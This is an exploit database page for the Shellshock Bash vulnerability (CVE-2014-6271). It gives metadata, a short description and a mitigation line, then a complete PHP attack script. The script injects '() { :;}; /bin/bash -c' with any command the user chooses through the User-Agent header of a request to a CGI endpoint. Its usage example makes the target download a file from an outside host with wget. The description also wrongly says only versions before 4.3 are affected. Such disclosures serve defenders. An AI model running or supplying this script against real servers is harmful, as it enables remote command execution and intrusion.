Bash Specially-crafted Environment Variables Code Injection Vulnerability

vendor:

Bash

by:

Prakhar Prasad & Subho Halder

9,8

CVSS

CRITICAL

Code Injection

CWE

Product Name: Bash

Affected Version From: 3.2.51(1)-release

Affected Version To: 4.3

Patch Exists: YES

Related CWE: CVE-2014-6271

CPE: a:gnu:bash

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26

2014

Bash Specially-crafted Environment Variables Code Injection Vulnerability

Bash Specially-crafted Environment Variables Code Injection Vulnerability is a vulnerability in GNU Bash, which allows attackers to execute arbitrary commands by specifying environment variables. This vulnerability was discovered in September 2014 and affects versions of Bash prior to 4.3. It is also known as Shellshock. The exploit is executed by sending a specially crafted HTTP request to a vulnerable server, which contains a malicious command in the User-Agent header. The command is then executed on the server.

Mitigation:

Upgrade to the latest version of Bash (4.3 or later) to fix this vulnerability.

Source

Exploit-DB raw data:

<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
	   GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
	   Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

Test CGI Code : #!/bin/bash
				echo "Content-type: text/html"
				echo ""
				echo "Bash-is-Vulnerable"

*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
	die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");

}
$url = $x['u'];
$cmd = $x['c'];

$context = stream_context_create(
	array(
		'http' => array(
			'method'  => 'GET',
			'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
		)
	)
);
$req = file_get_contents($url, false, $context);
if(!$req && strpos($http_response_header[0],"500") > 0 )
	die("Command sent to the server!\n");
else if($req && !strpos($http_response_header[0],"500") > 0)
	die("Server didn't respond as it should!\n");
else if(!$req && $http_response_header == NULL)
	die("A connection error occurred!\n")
?>